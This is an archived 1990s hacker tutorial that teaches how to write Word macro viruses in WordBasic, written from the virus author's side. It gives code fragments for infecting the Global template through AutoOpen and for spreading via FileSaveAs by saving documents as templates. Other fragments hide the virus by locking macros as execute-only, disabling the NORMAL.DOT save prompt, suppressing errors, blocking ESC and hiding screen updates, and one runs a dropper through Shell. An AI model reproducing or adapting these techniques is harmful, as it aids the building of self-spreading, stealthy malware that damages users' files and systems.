home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / Bozomacr.txt < prev    next >
Encoding:
Text File  |  1999-04-11  |  15.7 KB  |  351 lines

  1.                              --------------------
  2.                             . Wordmacro  Viruses .
  3.                              ---.  by  b0z0  .---
  4.                                  ------------
  5.  
  6.  
  7. 1. Introduction
  8. ---------------
  9.  In this last period the Wordmacro viruses became well known by any PC
  10. user. After the first succesful macro virus attempt (the Concept macro)
  11. many new techniques has been implemented in this type of virus
  12. programming. Macro viruses are really simple to build, because they are
  13. programmed in a  quite simple programming language internal to Word (6.0
  14. or later) called Wordbasic. Using some lacks of security and some risky
  15. default options (that are also unconsidered by the tipical Word user :))
  16. the infection and spread can easily become truth. In general the most
  17. used AV products (i mean TSR utilities) doesn't care of DOC files,
  18. because they are never really executed. This is the mainly advantage of
  19. Wordmacros. Some guys also consider that Wordmacro viruses can be
  20. considered as a multiplatform product, but this, due to some lacks of
  21. Micro$oft work, isn't totally true.
  22.  
  23.  
  24. 2. How they work?
  25. -----------------
  26.  All Word documents can contain near the text also a file called
  27. Template, which includes some specific definitions or macros (created
  28. with the included Word macro editing utilities) that can operate in a
  29. certain way on the text. This included macros can be also
  30. autoexecutable, this means that they can run at the moment while the
  31. document is loaded or can be executed on a determinate event. Word has
  32. some predefinited macros with reserved names, which starts on some
  33. specific operations like saving or opening a document. This
  34. predefinited stuff (with all others default page styles and so on) is
  35. located in the NORMAL.DOT template file. Creating a macro with one of
  36. the predefinited names will lead to execute something that we like at a
  37. specified event. The AutoExec macro for example is executed at the Word
  38. startup, the AutoOpen is executed at each document opening. So the
  39. general rule to do a takeover on the system is to replace some of the most
  40. used predifined macros with our virulent macros.
  41.  
  42.  
  43. 3.Creating a macro virus
  44. ------------------------
  45.  So the first thing to do in our Wordmacro is to put our virus macros
  46. instead of the original ones when the infected document is opened.  We
  47. can easily put in the AutoOpen macro some lines, that will copy our
  48. infecting routines on the right place in the main Word macro storage
  49. (this is called the Global template), when the document will be opened.
  50. For example if we want to copy our macro AutoClose in the Global template
  51. our AutoOpen macro will look like this:
  52.  
  53.  
  54. Sub main
  55.  MacroCopy WindowName$()+":AutoClose",   "Global:AutoClose" ,1
  56. End sub
  57.  
  58.  
  59.  The Macrocopy commands in Wordbasic copies a macro (from a template) to
  60. another macro (in the same or in another template) With this we will replace
  61. the Autoclose macro in the Global template with our Autoclose from the
  62. current infected document (which name is given by the "WindowName$()"
  63. function). The final ",1" means that the macro is "Execute Only". This
  64. attribute won't let the user to read or modify the macro once that it
  65. was created. If we don't put the final "Execute Only" attribute any lamer
  66. will be able to change something in our virus or the user will notice
  67. that the macros aren't really of use to his work.
  68.  A tipical Wordmacro virus will look for other more interesting
  69. predefinited macros. That would be cool, if we had the possibility to
  70. infect a document when it is being saved. To do this we can handle the
  71. FileSaveAs macro. We can put in it some code, that will put near the text
  72. that the user will save also our virulent macros. Like we told at the
  73. start of this section the add-on macros don't directly go to the DOC
  74. file, but to the template file (DOT). This isn't a very good thing,
  75. because like maybe you will notice, this will prevent us to infect other
  76. DOCs. This isn't true, because we can save anyway the user's work as a
  77. template and Word will at the next time load the saved file normally as it
  78. is a normal document. In this manner our macros will go around the world
  79. with the file with the extension .DOC, but definitely it will be only a
  80. template :) Let's see an example of a FileSaveAs macro:
  81.  
  82.  
  83. Sub Main
  84.  Dim dbox As FileSaveAs  'we define which dialog box will appear
  85.  GetcurValues dbox       'we inicialize and run the dialog box
  86.  Dialog dbox
  87.  Macrocopy "Global:AutoClose", WindowName$() + ":AutoClose" ,1
  88.  Macrocopy "Global:FileSaveAs", WindowName$() + ":FileSaveAs" ,1
  89.  dbox.Format = 1         'we are saving a template
  90.  FileSaveAs dbox         'we finally save it
  91. End Sub
  92.  
  93.  
  94.  In this example we copied two virulent macros (AutoClose and FileSaveAs)
  95. in the new file, which name was given by the user in the dialog box. We
  96. must of course first define the type of dialog box like a variable. If we
  97. was handling another macro (say FileOpen for example) we may use another
  98. dialog box depending on the macro (Dim dbox As FileOpen for example).
  99. After inicializing the dialog box with GetcurValues (general inicializing
  100. like directory where we stay, type and so on) we can finally display the
  101. dialog box simply running Dialog and putting the name (in our case dbox)
  102. of the just defined dialog box. Once copied our macros we defined that
  103. we were saving a template and finally called the old save routine.
  104.  To implement our file infection macro we can also test, if the type of
  105. file we are saving is a DOC or a DOT. If the file is something other (for
  106. example the user is trying to save to a normal text file) it would be
  107. good not to copy the macros. To prevent this we can put a test after
  108. invoking the dialog box and test the dbox.Format. If the dbox.Format is
  109. equal to 0 then the user saved in a DOC file (and we can infect it of
  110. course transforming it in a template) and if the dbox.Format is equal to
  111. 1 the type is a template. In all the other cases the user selected
  112. something other, that we won't infect. So the test rutine after invoking
  113. the dialog box will be something like:
  114.  
  115.  
  116. If ((dbox.Format = 0) Or (dbox.Format=1)) then
  117.     'Infect them!
  118. End If
  119. FileSaveAs dbox
  120.  
  121.  
  122.  Like for FileSaveAs we can for example try infecting on FileSave or on
  123. FileOpen (when a file is opened) or sometime else. This just depends from
  124. your taste.
  125.  Now that we have put some of our routines in the Global template it
  126. would be good to write a macro, that will make our virus active when Word
  127. starts. This macro is named AutoExec and will appear very simillar to the
  128. AutoOpen macro. Infact in both cases we will only copy our macros instead
  129. of the original ones if they aren't already installed.
  130.  Another important thing, while we are going resident or infecting a
  131. document, is to control if the template (the Global if we are just going
  132. resident or the file's template if we are infecting) is already infected
  133. by our virulent macros. Simply we can scan all the names of the
  134. installed macros and seek for one (of more) of our macros. This may look
  135. like this:
  136.  
  137.  
  138. For Cnt = 1 To CountMacros(0)    'we control all the macros in the Global
  139.   If Macroname$(Cnt,0) = "OurNamedMacro" Then          'it is ours?
  140.     Founded = 1        'we mark someway that we got it!
  141.   EndIf
  142. Next Cnt
  143.  
  144.  
  145.  Now we have put some good macros in the Global template. When a user
  146. will end his work and on a file and will exit from it, Word will
  147. automatically notice him that also the NORMAL.DOT (the Global template)
  148. has changed, asking you for a confirmation of saving. Of course this
  149. wouldn't be a very good stealth feature. To prevent this we can now
  150. write a macro, that will activate when we will exit from a file, that
  151. will deactivate the Yes/No prompting. The macro that we are looking for
  152. is the FileExit. To disable prompting we must just turn to zero a Word
  153. internal variable and then recall the old FileExit procedure. So the macro
  154. will be:
  155.  
  156.  
  157. Sub Main
  158. ToolsOptionsSave .GlobalDotPrompt = 0
  159. FileExit
  160. End Sub
  161.  
  162.  
  163.  The ToolsOptionSave is the well known Save folder in the Tools menu in the
  164. submenu Option, where are defined the preferences on saving. In this case we
  165. just directly switched off in that menu the option that enables prompting
  166. for saving changes in NORMAL.DOT.
  167.  Additionally in all our macros it would be very good to include the "On
  168. Error Goto" capability, that automatically call the function that is
  169. given it as a parameter on an error occurance (after a function call or
  170. more simply if there is a compatibility problem like we will see later).
  171. This is *very* important when writing macros that includes dialog boxes
  172. or interrupable jobs. Infact when a user press the Cancel button in any
  173. dialog box an error will be generated, telling to the user that the macro
  174. wasn't succesfully completed. With a small error handler we can hide
  175. these errors and let our macros to continue. For example:
  176.  
  177.  
  178. Sub Main
  179. On Error Goto NoGood
  180. ; put here ya macro
  181. ; ......
  182. ; end of the macro
  183. NoGood:
  184. ; do something else... for example only give again the control to the
  185. ; original function that the user was calling or just exit out of the
  186. ; macro
  187.  
  188.  
  189.  Another very important Word option that must be set (to be as stealth as
  190. possible) is the Disableinput variable. Setting this to 1 will prevent
  191. the interruption of the macro with the ESC key. If you don't set this a
  192. user a little intelligent (duh... but if he was a little intelligent he
  193. wouldn't use Word ;) ) may press ESC during the execution of your macro
  194. (for example is you are writing to a file on the disk Word is halted for
  195. many seconds and he can notice the activity on the disk... but anyway
  196. under windoze the hard disk is always trashing ;))) ) for stopping it.
  197. What is worst is that if he stopped a macro with ESC he will receive a
  198. notice that the macro was succesfully stopped... not really a stealth
  199. feature ;)
  200.  To continue with the stealth features (duh :) ) there is another
  201. Wordbasic command that may be useful to hide ourself. Infact if we set
  202. ScreenUpdate to 0 the document (or macro or everything :) ) will not be
  203. updated during the execution of the macro. This can be very useful if
  204. your macro also modifies something in the window with the text. To enable
  205. again screen updating just set the variable to 1.
  206.  Maybe someone of you already noticed that the names of the functions
  207. that we call are basically the same as the full name in the Word menus.
  208. For example:
  209.    FileSaveAs        ; is the SaveAs command in menu File
  210.    FileClose        ; is the Close command in menu File
  211.    ToolsOptions     ; is the Options command in menu Tools
  212.    ToolsOptionsSave ; is the Save folder in the Options command in
  213.                     ; the menu Tools
  214.  So, all the commands of the menu File are precedded by a 'File' and so
  215. on. Just think what command do you want to hook, give a look to the help
  216. for the complete syntax and go write the macro :)
  217.  
  218.  
  219. 4.Handling files
  220. ----------------
  221.  Aditionally in Wordbasic you can also manipulate any external file on
  222. your hard disk. There are a few important command commonly used. The
  223. first is Open that opens a file on the disk. There are three types of file
  224. opening:
  225.  
  226.  
  227. Open "C:\PADA.NIA" For Input As #1
  228. Open "C:\FOOBAR" For Output As #2
  229. Open "C:\GULLI.VER" For Append As #3
  230.  
  231.  
  232.  With the first we open the file only for reading, in the second case for
  233. writing and in the last we open the file for appending data at the end
  234. of the existing file. Like you will see we must also assign a number to
  235. each file we open. Word can actually handle a maximum of 4 files (1-4).
  236. When we open a file for writing if the file doesn't exist Word will
  237. create one for us. When we want read from a file if it doesn't exist Word
  238. will give us an error (which can be easily handled with the already
  239. described error handler). This can be useful if we are checking is a file
  240. exist or not. Infact to see if a file is on the disk we can only open it
  241. for Input and if an error occours then the file doesn't exist (and maybe
  242. we are going to create it).
  243.  After we succesfully opened a file (depending what we want to do) we
  244. can now write something to it with the Print or with the Write command
  245. (there is only a minor difference in the format between the two commands).
  246.  
  247.  
  248. Print #2, "Chauabunga"
  249.  
  250.  
  251. We can also read something from it using the Input$ function (or also the
  252. LineInput command if we are goin to read a line that is terminated with a
  253. CR-LF sequence):
  254.  
  255.  
  256. somechar$=Input$(20,#1) ;this will read 20 characters from the file #1
  257. Line Input #1, $our     ;will put in the var $our the current line from #1
  258.  
  259.  
  260. When we have done all our operations on the file we finally can close it
  261. with a simple:
  262.  
  263.  
  264. Close #n                ;closes file number 'n'
  265.  
  266.  
  267. There are also many other very useful commands that may be of use in our
  268. virulent macros (for example is very interesting the function Lof() which
  269. returns the lenght of a file in bytes, Kill() that deletes a file,
  270. SetAttr that changes the attributes of a file, GetAttr that takes the
  271. attributes of a file, Name to rename a file or a directory, File$ to
  272. search in the current directory some files with a pattern  and so on)
  273. but of course i'm not going to talk about them all :) Just give a look
  274. to the help file for a more complete guide.
  275.  
  276.  
  277. 5.Executing Dos Commands
  278. ------------------------
  279. After the file handling with Wordbasic we can also execute any external
  280. Dos program and also some of the internal Dos commands. To execute and
  281. external program the syntax is very simple:
  282.  
  283.  
  284. Shell "C:\DROPPER.COM", $type
  285.  
  286.  
  287. After Shell we put the command that we would execute and the type (this
  288. isn't mandatory) of the window of the program that is being executed. The
  289. type can be a number from 0 to 4 where:
  290.  
  291. 0 means that the window is minimized to an icon
  292. 1 means normal window
  293. 2 means like 0. this is put for compatibility with Excel
  294. 3 means big window
  295. 4 means inactive window
  296.  
  297. And this is all about the execution of external programs. Now let's give
  298. a look to the Dos internal commands that Wordbasic support. Of course,
  299. using this will not be spawn a window, so the user won't notice
  300. absolutely anything. For example:
  301.  
  302.  
  303. Mkdir "C:\GPL"
  304. Shell "mkdir C:\GPL",0
  305.  
  306.  
  307. These final effect of this commands will be the same, but the second will
  308. spawn a new Dos shell for the execution of the command, and this maybe
  309. will alert the user. It will of course also use more PC resources.
  310. Here is a small list of very useful Dos internal commands supported by
  311. Wordbasic:
  312.  
  313.  
  314. Chdir "C:\FOO"        ;changes current dir to C:\FOO
  315. Mkdir "C:\WINSLOTH"    ;creates the directory C:\WINSLOTH
  316. Rmdir "C:\W1NL0SE"    ;deletes the C:\W1NL0SE directory
  317. path$=Environ$("PATH")  ;puts in path$ the current PATH
  318. Filecopy .....        ;to copy a file
  319.  
  320.  
  321. and so on... :)
  322.  
  323. 6. Other Stuff
  324. --------------
  325.  Apart from this you can also do many other useful things with the
  326. Wordbasic language. There is a full set of arithmetic operators and
  327. functions for example. Commands to determine many things of a machine
  328. (like language, cpu, mem) are also avaiable. The handling of the WIN.INI
  329. config file is also a good optional :) as in other high level languages
  330. the manipulation of strings is fully implemented.
  331.  
  332. 7. Multiplatform features
  333. -------------------------
  334.  One of the worst things of the Wordmacro viruses is the portability.
  335. Infact a Wordmacro virus written using the english set of commands won't
  336. work with the swedish version. Word will notice to the user that there
  337. are some macros that are using unknown commands. Infact all of the names
  338. of the menus are different. The FileClose of the english Word is for
  339. example FileChiudi in the italian and DataiBeended in the german version.
  340. That's simply because the names that are present into the menus are
  341. different from version to version.
  342.  
  343. 8. A real threath?
  344. ------------------
  345.  There is really simple to protect yourself from being infected. You can
  346. just disable the automatic execution of the macros. So Wordmacros can't
  347. be absolutely considered a real threath. Anyway the Wordbasic language is
  348. fun and has _a lot_ of interesting commands that can be used.
  349.  Definitely Wordmacros are nice for us to have a little of fun, as usual
  350. in our work :)
  351.